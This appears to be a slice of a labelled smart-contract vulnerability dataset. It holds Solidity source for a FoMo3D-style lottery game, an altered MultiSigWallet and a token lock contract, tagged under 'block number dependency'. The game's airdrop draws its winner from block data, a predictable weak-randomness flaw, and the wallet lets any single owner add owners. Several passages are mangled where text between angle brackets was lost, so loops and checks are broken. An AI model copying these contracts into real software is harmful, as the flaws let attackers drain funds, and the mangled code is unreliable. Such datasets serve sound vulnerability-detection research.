= msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); admin.transfer(_com); admin.transfer(_p3d.sub(_p3d / 2)); round_[_rID].pot = _pot.add(_p3d / 2); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, ""only admin can activate""); require(activated_ == false, ""FOMO Short already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 36137.sol,"pragma solidity 0.4.15; // From https://github.com/ConsenSys/MultiSigWallet/blob/master/contracts/solidity/MultiSigWallet.sol @ e3240481928e9d2b57517bd192394172e31da487 /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. function MultiSigWallet() public { address _owner = address(0x3Af8eE248D651E5Ae4D8f475D24DbA6380932677); uint256 _required = 2; isOwner[_owner] = true; owners.push(_owner); required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public ownerExists(msg.sender) ownerDoesNotExist(owner) notNull(owner) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29462400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x7748186946C6e3eF831365D9022A9247e2B98473; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = 